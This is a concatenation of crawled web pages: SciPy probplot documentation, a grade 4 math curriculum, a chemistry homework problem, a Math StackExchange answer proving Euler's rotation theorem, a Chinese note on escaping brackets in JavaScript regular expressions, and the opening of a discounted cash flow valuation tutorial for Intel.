x = stats.norm.rvs(loc=0, scale=1, size=nsample)\n>>> res = stats.probplot(x, plot=plt)\n\n\nProduce a new figure with a loggamma distribution, using the dist and sparams keywords:\n\n>>> fig = plt.figure()\n>>> x = stats.loggamma.rvs(c=2.5, size=500)\n>>> res = stats.probplot(x, dist=stats.loggamma, sparams=(2.5,), plot=ax)\n>>> ax.set_title(\"Probplot for loggamma dist with shape parameter 2.5\")\n\n\nShow the results with Matplotlib:\n\n>>> plt.show()",
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"",
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"#### Previous topic\n\nscipy.stats.ppcc_plot\n\n#### Next topic\n\nscipy.stats.boxcox_normplot"
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"https://docs.scipy.org/doc/scipy-0.19.1/reference/_images/scipy-stats-probplot-1_00.png",
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"https://docs.scipy.org/doc/scipy-0.19.1/reference/_images/scipy-stats-probplot-1_01.png",
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https://www.beyondthealgorithm.ca/sask-tasks/grade-4/ | [
"Curriculum Guide\n\nOnline Manipulatives\n\nMath Toolkit\n\n## NUMBER OUTCOME 4.1\n\nDemonstrate an understanding of whole numbers to 10 000 (pictorially, physically, orally, in writing, and symbolically).\n\nDemonstrate an understanding of whole numbers to 10 000 (pictorially, physically, orally, in writing, and symbolically) by:\n\n• representing\n• describing\n• comparing two numbers\n• ordering three or more numbers.\n\n## NUMBER OUTCOME 4.2\n\nDemonstrate an understanding of addition of whole numbers with answers to 10 000 and their corresponding subtractions (limited to 3 and 4-digit numerals).\n\nDemonstrate an understanding of addition of whole numbers with answers to 10 000 and their corresponding subtractions (limited to 3 and 4-digit numerals) by:\n\n• using personal strategies for adding and subtracting\n• estimating sums and differences\n• solving problems involving addition and subtraction.\n\n## NUMBER OUTCOME 4.3\n\nDemonstrate an understanding of multiplication of whole numbers (limited to numbers less than or equal to 10).\n\nDemonstrate an understanding of multiplication of whole numbers (limited to numbers less than or equal to 10) by:\n\n• applying mental mathematics strategies\n• explaining the results of multiplying by 0 and 1\n\n## NUMBER OUTCOME 4.4\n\nDemonstrate an understanding of multiplication (2- or 3-digit by 1-digit).\n\nDemonstrate an understanding of multiplication (2- or 3-digit by 1-digit) by:\n\n• using personal strategies for multiplication, with and without concrete materials\n• using arrays to represent multiplication\n• connecting concrete representations to symbolic representations\n• estimating products\n• solving problems.\n\n## NUMBER OUTCOME 4.5\n\nDemonstrate an understanding of division (1-digit divisor and up to 2-digit dividend) to solve problems.\n\nDemonstrate an understanding of division (1-digit divisor and up to 2-digit dividend) to solve problems by:\n\n• using personal strategies for dividing with and without concrete materials\n• estimating quotients\n• explaining the results of dividing by 1\n• solving problems involving division of whole numbers\n• relating division to multiplication.\n\n## NUMBER OUTCOME 4.6\n\nDemonstrate an understanding of fractions less than or equal to one by using concrete and pictorial representations.\n\nDemonstrate an understanding of fractions less than or equal to one by using concrete and pictorial representations to:\n\n• name and record fractions for the parts of a whole or a set\n• compare and order fractions\n• model and explain that for different wholes, two identical fractions may not represent the same quantity\n• provide examples of where fractions are used.\n\n## NUMBER OUTCOME 4.7\n\nDemonstrate an understanding of decimal numbers in tenths and hundredths (pictorially, orally, in writing, and symbolically).\n\nDemonstrate an understanding of decimal numbers in tenths and hundredths (pictorially, orally, in writing, and symbolically) by:\n\n• describing\n• representing\n• relating to fractions.\n\n## NUMBER OUTCOME 4.8\n\nDemonstrate an understanding of addition and subtraction of decimals limited to hundredths (concretely, pictorially, and symbolically).\n\nDemonstrate an understanding of addition and subtraction of decimals limited to hundredths (concretely, pictorially, and symbolically) by:\n\n• using compatible numbers\n• estimating sums and differences\n• using mental math strategies\n• solving problems.\n\n## PATTERN & RELATIONS OUTCOME 4.1\n\nDemonstrate an understanding of patterns and relations.\n\nDemonstrate an understanding of patterns and relations by:\n\n• identifying and describing patterns and relations in a chart, table or diagram\n• reproducing patterns and relations in a chart, table, or diagram using manipulatives\n• creating charts, tables, or diagrams to represent patterns and relations\n• solving problems involving patterns and relations\n\n## PATTERN & RELATIONS OUTCOME 4.2\n\nDemonstrate an understanding of equations involving symbols to represent an unknown value.\n\nDemonstrate an understanding of equations involving symbols to represent an unknown value by:\n\n• writing an equation to represent a problem\n• solving one step equations.\n\n## SHAPE & SPACE OUTCOME 4.1\n\nDemonstrate an understanding of time.\n\nDemonstrate an understanding of time by:\n\n• reading and recording time using digital and analog clocks (including 24 hour clocks)\n• reading and recording calendar dates in a variety of formats.\n\n## SHAPE & SPACE OUTCOME 4.2\n\nDemonstrate an understanding of area of regular and irregular 2-D shapes.\n\nDemonstrate an understanding of area of regular and irregular 2-D shapes by:\n\n• recognizing that area is measured in square units\n• selecting and justifying referents for the units cm² or m²\n• estimating area by using referents for cm² or m²\n• determining and recording area (cm² or m²)\n• constructing different rectangles for a given area (cm² or m²) in order to demonstrate that many different rectangles may have the same area.\n\n## SHAPE & SPACE OUTCOME 4.3\n\nDemonstrate an understanding of rectangular and triangular prisms.\n\nDemonstrate an understanding of rectangular and triangular prisms by:\n\n• identifying common attributes\n• comparing\n• constructing models.\n\n## SHAPE & SPACE OUTCOME 4.4\n\nDemonstrate an understanding of line symmetry.\n\nDemonstrate an understanding of line symmetry by:\n\n• identifying symmetrical 2-D shapes\n• creating symmetrical 2-D shapes\n• drawing one or more lines of symmetry in a 2-D shape.\n\n## STATISTICS & PROBABILITY OUTCOME 4.1\n\nDemonstrate an understanding of many-to-one correspondence.\n\nDemonstrate an understanding of many-to-one correspondence by:\n\n• comparing correspondences on graphs\n• justifying the use of many-to-one correspondences\n• interpreting data shown using a many-to-one correspondence\n• creating bar graphs and pictographs using many-to-one correspondence."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8479591,"math_prob":0.92101365,"size":6175,"snap":"2023-40-2023-50","text_gpt3_token_len":1337,"char_repetition_ratio":0.19283746,"word_repetition_ratio":0.31653887,"special_character_ratio":0.19902834,"punctuation_ratio":0.09582059,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99738264,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-26T01:50:45Z\",\"WARC-Record-ID\":\"<urn:uuid:ce87a954-bb05-41c8-9a46-94fde3880247>\",\"Content-Length\":\"163591\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0572e814-6ac0-47dd-a85a-9cde883d6faa>\",\"WARC-Concurrent-To\":\"<urn:uuid:f7b86c61-d245-4b80-a8dd-288375e03c4f>\",\"WARC-IP-Address\":\"172.67.189.101\",\"WARC-Target-URI\":\"https://www.beyondthealgorithm.ca/sask-tasks/grade-4/\",\"WARC-Payload-Digest\":\"sha1:22EFL2I4HBJI6IT45SVPUJ777QDDHB2E\",\"WARC-Block-Digest\":\"sha1:CG2X376QFT2ES2INS4MNBJA3QTWAKYRO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510130.53_warc_CC-MAIN-20230926011608-20230926041608-00722.warc.gz\"}"} |
https://www.clutchprep.com/chemistry/practice-problems/51798/the-main-source-of-copper-on-earth-is-a-mineral-called-chalcocite-which-is-coppe | [
"# Problem: The main source of copper on earth is a mineral called chalcocite, which is copper(I) sulfide.a) What is the formula of this compound? _________b) What is the mass percent of copper in this compound?\n\n82% (93 ratings)\n###### Problem Details\n\nThe main source of copper on earth is a mineral called chalcocite, which is copper(I) sulfide.\n\na) What is the formula of this compound? _________\n\nb) What is the mass percent of copper in this compound?"
]
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https://math.stackexchange.com/questions/3394820/elementary-geometric-proofs-of-eulers-rotation-theorem | [
"# Elementary Geometric Proofs of Euler's Rotation Theorem\n\nEuler's Rotation Theorem states that given an arbitrary motion of a sphere about its center, there exists a diameter of the sphere (the 'Euler Axis') and axial rotation about it which produces the same net displacement.\n\nEuler's original proof [1, sections 24-28] makes use of spherical 'non-Euclidean' geometry, for example spherical triangles, and is discussed in and .\n\nWhat other methods of proof exist, which require only elementary Euclidean geometry, and are purely geometric, not requiring any algebra or matrix theory ?\n\nReferences\n\n Euler's original proof of 1775, with English translation, http://www.17centurymaths.com/contents/euler/e478tr.pdf, retrieved 14th October 2019.\n\n Euler's Rotation Theorem, https://en.wikipedia.org/wiki/Euler's_rotation_theorem, retrieved 14th October 2019.\n\n Bob Palais, Richard Palais, and Stephen Rodi, A Disorienting Look at Euler’s Theorem on the Axis of a Rotation, American Mathematical Monthly 116:10, 25th August 2009, p892-909. https://www.researchgate.net/publication/233611890_A_Disorienting_Look_at_Euler's_Theorem_on_the_Axis_of_a_Rotation, retrieved 14th October 2019.\n\nTwo geometric proofs are given below. Both proofs start off as in Euler's proof, by considering the image $$C_{2}$$ of a great circle $$C_{1}$$ under the motion. In proof (1) this is used to construct a non-great circle which must be mapped onto itself due to a certain orientation property that is preserved - the axis of that circle is then the Euler Axis. In proof (2) it is shown the final displacement of the great circle can be achieved via a composition of two $$180^\\circ$$ axial rotations which then gives the Euler Axis as the normal to the plane containing these two axes. For a non-zero motion the Euler Axis must be unique since it implies there exist exactly two fixed points, namely its endpoints - with all the other points rotated by a common angle not a multiple of $$360^\\circ$$.\n\nThe following terms are used :\n\n• a 'motion' of a sphere means a general arbitrary motion in 3D about its center\n• an 'axial rotation' is a special case of a 'motion' which is a rotation about a fixed axis (diameter) of the sphere\n• two motions are 'equivalent' if they produce the same net displacement\n• a 'zero motion' is one with no net displacement\n• a 'fixed point' is a point whose final position equals its initial position\n• the 'axis' of a circle on the sphere (great or non-great) is the sphere diameter perpendicular to the circle plane\n• the 'poles' of a circle on the sphere are the end points of its axis\n• the 'great circle of a diameter' is the great circle perpendicular to it\n• the antipode of a point on the sphere is the diametrically opposite point\n• any 'circle' will be assumed to have a non-zero radius\n\nThe lemmas cover the simple special cases and define the notion of 'orientation' used in Proof (1).\n\nLemma 1\n\nA motion of a sphere about its center $$O$$ which leaves a point $$P$$ on the sphere fixed is equivalent to an axial rotation about $$OP$$. Hence the antipode $$P'$$ of $$P$$ is fixed also, and if the motion is non-zero $$P$$ and $$P'$$ are the only fixed points.\n\nProof\n\nThere are no possible final positions of the sphere in which $$P$$ is fixed, other than axial rotations about $$OP$$ from the original position, since with $$P$$ fixed the situation of the sphere is constrained from every other possible motion. The antipode $$P'$$ is the opposite end of this axis and hence is fixed also. For a non-zero motion the angle of axial rotation cannot be a multiple of $$360^\\circ$$, thus ALL points other than $$P$$ and $$P'$$ must be moved.\n\nLemma 2\n\nGiven a motion $$M_{1}$$ of a sphere $$S$$ about its center $$O$$, then a second motion $$M_{2}$$ which places a circle $$C$$ of $$S$$ (great or non-great) identically to $$M_{1}$$ is equal to $$M_{1}$$.\n\nProof\n\nNo other possible final position of $$S$$ than that of $$M_{1}$$ can have $$C$$ placed completely 'correctly' because the sphere is completely constrained by this criteria - for, once the final positions of all the points of a circle on a fixed center sphere have been determined the final positions of all the other points of the sphere have been determined also. Thus $$M_{2}$$ must equal $$M_{1}$$.\n\nLemma 3\n\nA motion of a sphere about its center $$O$$ which overlays a circle $$C$$ (great or non-great) onto itself in some manner is equivalent to an axial rotation.\n\nProof\n\n(i) If $$C$$ is non-great then as in Lemma 1 the sphere is constrained so no net displacement other than a rotation about the circle's axis is possible.\n\n(ii) If $$C$$ is a great circle then it must either be :\n\n(a) overlayed the 'same way up', in which case the same argument as (i) applies, or\n\n(b) overlayed but 'flipped over'. Consider an arbitrary point $$P$$ on $$C$$ and its image $$P'$$ under the motion ($$P'$$ may equal $$P$$), as in the 'plan view' of Fig 1 :",
null,
"A $$180^\\circ$$ rotation $$\\phi$$ about axis $$D$$ of symmetry of $$P$$ and $$P'$$ places $$C$$ the 'right way up' and puts $$P$$ onto $$P'$$. This must then place all the other points of $$C$$ in the correct position, and so by Lemma 2, $$\\phi$$ is equivalent to the original motion.\n\nLemma 4\n\nAny motion of a sphere about its center $$O$$ in which a diameter is flipped is equivalent to a $$180^\\circ$$ axial rotation.\n\nProof\n\nThis causes the great circle of the diameter to be flipped over onto itself, and thus by Lemma 3 case (ii)(b), the result follows.\n\nLemma 5\n\nGiven two non-diametrical points $$A$$ and $$B$$ on a sphere $$S$$ of radius $$R$$, then if $$d$$ is the straight-line distance $$AB$$, the circles on the sphere which contain $$A, B$$ are :\n\n(i) a unique minimal radius circle of radius $$r = d/2$$,\n\n(ii) a unique maximal radius great circle of radius $$r = R$$,\n\n(iii) for every intermediate radius $$r \\in (d/2, R)$$, exactly 2 circles of radius $$r$$.\n\nProof\n\nIn the 'Hoopla Construction' in Fig 2 below, $$A$$ and $$B$$ are viewed at $$D$$, with $$A$$ in front of $$B$$. The set of circles on $$S$$ containing $$A, B$$ corresponds to the set of planes through the axis $$AB$$, as they cut $$S$$, such as $$\\Gamma$$ and $$\\Delta$$. $$\\theta = 0^\\circ$$ gives case (i), $$\\theta = 90^\\circ$$ gives case (ii), and $$\\theta \\in (0, 90^\\circ)$$ gives case (iii), with $$r = \\sqrt{ R^2 - l^2 cos^2 \\theta }$$ (an increasing function of $$\\theta$$).",
null,
"Definition\n\nGiven two non-diametrical points $$A$$ and $$B$$ on a circle $$C$$, 'orientation of $$A, B$$ on $$C$$' is either CW or ACW according to the sense of the minor arc from $$A$$ to $$B$$.\n\nWith this definition : (i) 'orientation of $$A, B$$ on $$C$$' flips when we view from the other side of $$C$$, (ii) the orientation is undefined for diametrical points $$A, B$$ of $$C$$, and (iii) the 'orientation of $$B, A$$ on $$C$$' is opposite from the 'orientation of $$A, B$$ on $$C$$'.\n\nLemma 6\n\nGiven any non-great circle $$C$$ on a sphere $$S$$ and two non-diametrical points $$A, B$$ of $$C$$, the orientation of $$A, B$$ (as viewed from 'non-$$O$$' side of circle $$C$$, ie the 'outside' of $$S$$) is preserved after any motion of $$S$$ about $$O$$.\n\nProof\n\nCenter $$O$$ of sphere never crosses or touches the plane of circle $$C$$, so circle $$C$$ is always being viewed from the same side, and so as $$A, B$$ are fixed onto $$C$$, their orientation on $$C$$ remains the same.\n\nLemma 7\n\nIf two non-diametrical points $$A, B$$ on a sphere $$S$$ of radius $$R$$ lie on two distinct circles of common radius $$r$$ on the sphere, then $$A, B$$ (viewed from non-$$O$$ side) have opposite orientations on these respective circles.\n\nProof\n\nFrom Lemma 5, the two distinct circles of same radius implies case (iii), so the circles are non-great.\n\nThus from the 'Hoopla' diagram of Fig 2, with $$A, B$$ seen at $$D$$ with $$A$$ in front of $$B$$, we have $$\\theta \\in (0, 90^\\circ)$$.\n\nThe circle in plane $$\\Gamma$$ gives $$A, B$$ with orientation ACW, whilst the other circle in the mirror image plane $$\\Delta$$ gives $$A, B$$ with orientation CW.\n\nLemma 8\n\nGiven two diameters $$L$$ and $$M$$ of sphere $$S$$, then the motion which is the composition of a $$180^\\circ$$ rotation about $$L$$ followed by a $$180^\\circ$$ rotation about $$M$$ is equivalent to a single axial rotation.\n\nProof\n\nThe case $$L = M$$ is trivial as the composition is a zero motion.\n\nOtherwise consider the great circle $$C$$ defined by the plane containing $$L$$ and $$M$$, and let $$P$$ and $$P'$$ be the poles of $$C$$, as in Fig 3.",
null,
"The rotation about $$L$$ flips $$P$$ and $$P'$$, as does the rotation about $$M$$. Hence the composition leaves $$P$$ fixed. By Lemma 1 the result then follows, with the axis being the normal to the plane containing $$L$$ and $$M$$.\n\nProof 1\n\nSuppose great circle $$C_{1}$$ is mapped onto great circle $$C_{2}$$. Assume planes $$C_{1}$$ and $$C_{2}$$ do not coincide (otherwise Lemma 3 completes the proof).\n\nLet $$C_{1}$$ and $$C_{2}$$ intersect along a diameter $$BF$$ (the 'line of nodes'), as shown in Fig 4.",
null,
"Since $$B$$ lies on $$C_{2}$$, it must have been mapped from some point $$A$$ on $$C_{1}$$. Assume $$A \\neq F$$ (otherwise the proof follows from Lemma 4), and $$A \\neq B$$ (otherwise the proof follows from Lemma 1). $$A$$ is shown on the left of $$BF$$ in Fig 4 - if it was on the right, we could rotate the diagram around $$180^\\circ$$ about $$BF$$ so $$A$$ is on the left. The dihedral angle $$\\delta \\in (0, 180^\\circ)$$.\n\nLet $$\\Omega \\in (0, 180^\\circ)$$ be the angle $$\\angle A\\widehat{O}B$$.\n\n$$B$$ also lies on $$C_{1}$$ so it maps to some point $$E$$ on $$C_{2}$$. So from the rigid body motion of $$C_{1}$$, angle $$\\angle B \\widehat{O} E = \\Omega$$, and $$\\mbox{chord } |AB| = \\mbox{chord } |BE|$$ (on $$C_{1}$$, $$C_{2}$$ respectively). $$E$$ is shown above $$C_{1}$$ in Fig 4, but the same argument as below applies if it is below.\n\nAlso plane $$A, O, B = \\mbox{plane } C_{1}$$, and plane $$B, O, E = \\mbox{plane } C_{2}$$.\n\n$$A, E, B$$ cannot be collinear because that would imply $$E$$ to be in plane $$C_{1}$$, so the plane $$C_{2}$$ defined by $$B, O, E$$ would then be in plane $$C_{1}$$ - a contradiction.\n\nThus $$A, E, B$$ define a unique plane, containing 3 distinct points of sphere $$S$$. That plane cannot pass through $$O$$ since then all of $$A, E, B, O$$ would lie in the same plane, again implying $$C_{1}$$, $$C_{2}$$ coincident - a contradiction. Let the non-great circle defined by this plane be $$C$$, and let its image be $$D$$.\n\nWe show $$C = D$$. Firstly note that although $$C$$ is a smaller radius circle than $$C_{1,2}$$, chords $$AB$$ and $$BE$$ can't be diameters of $$C$$ because that would imply $$A = E$$ - a contradiction - so the orientations below are well-defined. Consider the points $$B, E$$ which lie on $$C$$. They must also lie on $$D$$, being the image of $$A, B$$. But (viewing from non-$$O$$ side) :\n\norientation of $$B, E$$ on $$C$$ = orientation of $$A, B$$ on $$C$$,\n\nbecause the non-diametrical equal length chords $$AB$$ and $$BE$$ of $$C$$ subtend the same angle within $$C$$, and these chords lie to either side of point $$B$$ by virtue of $$A \\neq E$$.\n\nAnd secondly, considering the rigid motion taking $$C$$ to $$D$$ :\n\norientation of $$B, E$$ on $$D$$ = orientation of $$A, B$$ on $$C$$,\n\nby Lemma 6.\n\nSo $$B, E$$ have the same orientation on circles $$C, D$$. But by Lemma 7, as $$C, D$$ have common radius, this means $$C = D$$, from which the proof now follows from Lemma 3 case (i), the Euler Axis being the axis of circle $$C$$.\n\nProof 2\n\nView $$C_{1}$$ and $$C_{2}$$ as shown in Fig 5. Cases $$\\theta = 0^\\circ$$ and $$\\theta = 90^\\circ$$ follow from Lemma 3 case (ii), so assume $$\\theta \\in (0, 90^\\circ)$$.",
null,
"$$C_{1}$$ can be made to overlay $$C_{2}$$ by $$180^\\circ$$ rotation about $$L$$ or about $$M$$.\n\nThe first of these places upper side of $$C_{1}$$ onto lower side of $$C_{2}$$, while the second places the upper side of $$C_{1}$$ onto the upper side of $$C_{2}$$.\n\nChoose whichever of these results in $$C_{1}$$ being overlayed onto $$C_{2}$$ the 'wrong way up'. Then by Lemma 3 case (ii) (b) a $$180^\\circ$$ rotation about some axis within $$C_{2}$$ places $$C_{1}$$ exactly in the 'correct' position of $$C_{2}$$.\n\nThus we have achieved the correct final position for $$C_{1}$$ by a succession of two $$180^\\circ$$ axial rotations, and thus by Lemma 8 and Lemma 2 the proof follows."
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"https://i.stack.imgur.com/nAuh6.jpg",
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"https://i.stack.imgur.com/NKejX.jpg",
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"https://i.stack.imgur.com/1nX8K.jpg",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.83230704,"math_prob":1.0000063,"size":10907,"snap":"2023-40-2023-50","text_gpt3_token_len":3136,"char_repetition_ratio":0.1487664,"word_repetition_ratio":0.073608615,"special_character_ratio":0.32254514,"punctuation_ratio":0.08715184,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000093,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-02T01:26:59Z\",\"WARC-Record-ID\":\"<urn:uuid:d439e6e1-9ee0-4c59-9890-41ef89a196d7>\",\"Content-Length\":\"164008\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:09102080-7731-46e4-a9d1-59c77aecd53c>\",\"WARC-Concurrent-To\":\"<urn:uuid:0c3770b9-1501-4e50-b230-1d207e05c259>\",\"WARC-IP-Address\":\"172.64.144.30\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/3394820/elementary-geometric-proofs-of-eulers-rotation-theorem\",\"WARC-Payload-Digest\":\"sha1:PQULS333SNWAEGB4J5GYLGF3NTYKFNTT\",\"WARC-Block-Digest\":\"sha1:YHERR7KLNK66QBSK2IUNHKWFT422LAYL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100309.57_warc_CC-MAIN-20231202010506-20231202040506-00836.warc.gz\"}"} |
http://cftea.com/c/2010/08/5HWU2A5ER4WBIMKF.asp | [
"# 调皮的前后中括号（[]）正则匹配\n\nvar pattern = \"(\\[{1})\"; // 错误，正确应该为：([\\[]{1})\nvar flag = \"gi\";\nvar reg = new RegExp(pattern, flag);\nreg.exec(\"<>[]\");\n\nvar pattern = \"([\\]]{1})\"; // 错误，正确应该为：(]{1})\nvar flag = \"gi\";\nvar reg = new RegExp(pattern, flag);\nreg.exec(\"<>[]\");\n\n• ^ 匹配输入字符串的开始位置，除非在方括号表达式中使用，此时它表示不接受该字符集合。要匹配 ^ 字符本身，请使用 \\^。\n• \\$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性，则 \\$ 也匹配 '\\n' 或 '\\r'。要匹配 \\$ 字符本身，请使用 \\\\$。\n• . 匹配除换行符 \\n 之外的任何单字符。要匹配 .，请使用 \\。\n• \\ 将下一个字符标记为或特殊字符、或原义字符、或后向引用、或八进制转义符。例如， 'n' 匹配字符 'n'。'\\n' 匹配换行符。序列 '\\\\' 匹配 \"\\\"，而 '\\(' 则匹配 \"(\"。\n• | 指明两项之间的一个选择。要匹配 |，请使用 \\|。\n• { 标记限定符表达式的开始。要匹配 {，请使用 \\{。\n• [ 标记一个中括号表达式的开始。要匹配 [，请使用 \\[。\n• () 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符，请使用 \\( 和 \\)。\n• * 匹配前面的子表达式零次或多次。要匹配 * 字符，请使用 \\*。\n• + 匹配前面的子表达式一次或多次。要匹配 + 字符，请使用 \\+。\n• ? 匹配前面的子表达式零次或一次，或指明一个非贪婪限定符。要匹配 ? 字符，请使用 \\?。"
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https://stablebread.com/how-to-value-a-company-using-the-discounted-cash-flow-model/ | [
"",
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"",
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"# How to Value a Company Using the Discounted Cash Flow Model\n\nFajasy\nUpdated: March 30, 2022\n\nIn this article, I will show you to how to value a company using the discounted cash flow model (DCF), and will guide you through a complete DCF valuation for a real company on the stock market. By doing so, we'll be able to estimate the company's intrinsic value, which will tell us whether the current stock price is undervalued or overvalued.\n\nThe intrinsic value, also known as the fair value, can be defined as the value today of all expected free cash flows from the future. Knowing a company's intrinsic value is useful for value investors who want to purchase companies at attractive (undervalued) prices in hopes of future investment gains.\n\nThe formula to find intrinsic value is below:\n\nIntrinsic value = [FCF1 / (1+r)1] + [FCF2 / (1+r)2] + .... + [FCFn / (1+r)n] + [FCFn * (1+g) / (r - g)]\n\nwhere:\n\n• FCF = free cash flow\n• r = discount rate (required rate of return)\n• g = growth rate\n• n = time period\n\nTo find the intrinsic value of a business, one of the best ways is to use a DCF valuation, which is an absolute valuation method. With a DCF, you can value any asset based upon its intrinsic characteristics, the asset's expected cash flows over its lifetime, and the uncertainty on receiving these cash flows. Therefore, by completing a DCF valuation, you will follow the principal that the value of a company can be derived from the present value (PV) of its projected free cash flow (FCF).\n\nThe 8 steps to completing a DCF valuation are listed below (and on the table of contents), and will be covered after the next section.\n\n• Step 1: Free Cash Flow\n• Step 2: Discount Rate\n• Step 3: Perpetual Growth Rate\n• Step 4: Terminal Value\n• Step 5: Shares Outstanding\n• Step 6: Discount Back and Find Intrinsic Value\n• Step 7: Sensitivity Analysis\n• Step 8: Margin of Safety\n\n## Discounted Cash Flow Valuation Viability\n\nThe DCF stock valuation method is a widely accepted and respected method in the world of finance. Although investors have to make a number of assumptions when completing a DCF analysis, if investors value companies with a long-enough operational history, are conservative with their numbers, understand how to apply sensitivity analysis and a margin of safety, and avoid bias (which is all easier said than done), they may be able to accurately value these companies and profit significantly over the long-term.\n\nTherefore, as investors, the DCF model should be utilized for long-term investment opportunities. However, the intrinsic value number you find should never be looked at independently as it never tells the complete story of a company and what its stock price may be worth. In other words, investors should also look at the company's competitive advantage (economic moat), its management team, how the company manages debt, and many other financial and non-financial variables to really determine the price range they would be willing to purchase the company for.\n\nWith this in mind, when is a DCF valuation the most viable?\n\nPut simply, the DCF model works when companies have free cash flow (FCF) and when FCF can be reasonably estimated. FCF measures how much cash is available to companies after repaying creditors or paying dividends and interest to investors.\n\nTherefore, early-stage companies are likely not a good candidate for a DCF as they may have high growth but limited amounts of FCF in their current state. It's also difficult to accurately value companies that are cyclical due to the nature of their business. On the other hand, large blue-chip companies that are more established are typically perfect for a DCF analysis.\n\nNow, as a general rule, if any one of the four criteria below are met, the company is a viable candidate from a valuation perspective because it has free cash flow (FCF):\n\n• The company does not pay any dividends.\n• The company pays a dividend, but the dividend it pays is minuscule in comparison to the company's ability to pay this dividend, and therefore is not significantly tied to the earnings/profitability of the firm.\n• FCF aligns with the company's profitability within an analyst's forecast horizon.\n• Investor has a controlling interest in the company, which means the majority owner has the discretion over how to use equity cash flows (in contrast to DDM modeling)).\n\nFollow the criteria above to the best of your ability to determine whether a DCF valuation can be applied to the company you may be looking to invest in. It's also wise to stick with more established companies as their capital expenditures (CapEx) and FCF may be more accurately estimated, although this differs between companies and industries. Regardless, it's a good idea to have a thorough understanding of a company (e.g., its business model, competitors, what its revenue sources are, etc.) before completing a DCF valuation for a company.\n\n### Intel Corporation (INTC) DCF\n\nThe company I'll be completing a DCF valuation for is Intel Corporation (INTC), a market leader in manufacturing and developing computer microprocessors and chip-sets.\n\nYou can see Intel's stock price performance over time in the chart below:\n\nIntel has a current market cap of over 212 billion, has a rather low dividend yield, and is a blue-chip stock. Therefore, a DCF valuation will work well for this company as it meets more than one of the four criteria described above. Moreover, the company has FCF and we can reasonably estimate FCF over the next 5 years at the very least.\n\nNow, follow the steps laid out in this article to see how I found the intrinsic value of Intel. Before I begin, make sure you know how to read and access the 10-K's for the company you're analyzing. You can also use a financial data website like QuickFS to reduce the amount of time spent looking through financial statements and 10-K's.\n\n## Step #1: Free Cash Flow\n\nThe first step in a DCF valuation is to find the free cash flow (FCF) of a company. FCF measures a company's financial performance and shows the amount of cash a company has remaining after accounting for operating expenses and capital expenditures (CapEx). In other words, FCF is the amount of cash flow available for discretionary spending by management and shareholders.\n\nThere are two types of FCF calculations:\n\n• Free cash flow to the firm (FCFF): Cash flow that is available to the firm, including bond investors, if the company hypothetically has no debt. Also referred to as \"unlevered free cash flow.\"\n• Free cash flow to equity (FCFE): The amount of cash generated by a company that is available to stock investors. Also referred to as \"levered free cash flow.\"\n\nThe primary difference between FCFF and FCFE are interest payments and taxes, as FCFE includes interest expense paid on debt and net debt issued or repaid. For reference, the FCFF and FCFE calculations are shown below:\n\nFCFE = Net income + Depreciation & amortization (D&A) - Increase in net working capital (NWC) - Capital expenditures (CapEx) + Net borrowings\n\nFCFF = Earnings before interest & taxes (EBIT) * (1 - Tax rate) + Depreciation & amortization - Changes in net working capital (NWC) - Capital expenditures (CapEx)\n\nIn most DCF valuations, you'll want to use FCFE because it provide a more accurate picture of the cash flows an equity investor can expect. FCFE is also ideal as long as the leverage for the company you're analyzing is fairly stable.\n\nSo, use FCFE unless the firm's capital structure is expected to change in the near future, for example because of the company taking on a lot more debt. On a side note, if FCFE or FCFF is expected to be negative in the foreseeable future, then you picked the wrong company for a DCF valuation.\n\nBecause I'm attempting to find the intrinsic value of Intel, a company with a fairly stable capital structure, I will use the FCFE approach to calculate and estimate Intel's FCF.\n\n### How to Calculate Free Cash Flow\n\nSome analysts (myself included) choose to use the simple FCF calculation, instead of the complete FCFE calculation shown above, as it's very difficult to predict the net borrowing a company will have in the future.\n\nBelow is the simple and most commonly used FCF formula approach:\n\nFCF (simple) = Cash flow from operations - Capital expenditures (CapEx)\n\nThe first thing you need when analyzing FCF is cash flow from operations (aka cash from operations (CFO)), found in the cash flow statement. Then, you would subtract total capital expenditures (CapEx), also called the plant, property and equipment (PP&E) under the investing section on the cash flow statement. This would give you the simple FCF number.\n\nDoing this for Intel gives me the following FCF numbers:\n\nINTC: FCF (Simple)\n\nThis is the approach many wall street analysts take, primarily because it's difficult to predict when a company has \"net borrowings\" in the future.\n\nHowever, it's in good practice to add back any \"net borrowings,\" or money borrowed for financing activities in a business (found under the financing activities in the cash flow statement). This is simply the difference between the total debt issued and the total debt paid over a period. In Intel's case, this line item is called \"Net Issuance of Debt.\"\n\nBelow is the FCF formula approach with net borrowings included:\n\nFCF = (Cash flow from operations - Capital expenditures (CapEx)) + Net borrowings\n\nYou would add net borrowings to account for any debt the company took out. Sometimes, this can change the FCF figure significantly.\n\nFor example, adding net borrowings to the Intel FCF table (from above) will provide you with a different picture on FCF:\n\nINTC: FCF (With Net Borrowings)\n\nNow, if we compare the difference in FCF after adding net borrowings, we can see just how much this fluctuates year-over-year:\n\nINTC: FCF Differences\n\nCalculating FCF with net borrowings is the more accurate method of the two, as it considers any money borrowed by the company which may affect the cash available to shareholders. However, because net borrowings is difficult to predict accurately, I would recommend that most investors stick with the simple FCF approach and ignore net borrowings altogether.\n\n### Forecasting Free Cash Flow\n\nAfter you have your FCF figures, you must forecast how much this will grow in the next 5 or 10 years, but this forecast growth period all depends on the company you're valuing and your preference. In our case, I will go with the standard 5-year forecast 